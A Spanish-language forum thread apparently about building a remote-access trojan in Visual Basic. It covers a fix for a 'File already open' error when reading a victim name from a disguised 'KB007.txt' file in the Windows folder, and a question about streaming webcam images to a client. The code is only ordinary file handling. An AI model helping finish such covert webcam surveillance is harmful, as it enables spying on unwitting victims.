Aqui esta el codigo:
Open Environ("windir") & "\KB007.txt" For Input As #1
Input #1, victima
If victima = "" Then
victima = "Default"
en la primera linea me tira un error llamado:
Run-time error '55':
File already open
¿¿Como lo podria solucionar??
Ese archivo ya esta abierto. ¿Lo tienes abierto mientras lanzas el programa?, ¿lo abres en algún otro momento anterior al que nos muestras?
Intenta cerrarlo antes agregandole lo siguiente antes de la linea open...
close #1
Si no te funciona te ayudo enaeguida cuando entre a la pc, ahora estoy desde el celu xD
dim ff as long
ff = FreeFile
Open Environ("windir") & "\KB007.txt" For Input As #ff
Input #ff, victima
If victima = "" Then
victima = "Default"
usando freefile es mejor pero si quieres hacerlo como ya lo tenias, este es el code:
Open Environ("windir") & "\KB007.txt" For Input As #1
Do Until EOF(1)
Line Input #1, victima
Loop
If victima = "" Then
victima = "Default"
End If
Gracias ya solucione lo del error ese,ahora ma faltaria como actualizar las imagenes que recibo de la webcam,las recibo en un Picturebox,en mi cliente,pero solo recibo 1 imagen,me faltaria recibir las que bienen a continuacion...se que se debe hacer desde un Timer,e intentado poner Picture1.Refresh en el Timer,pero no me las refresca,sigo recibiendo solo 1 imagen :(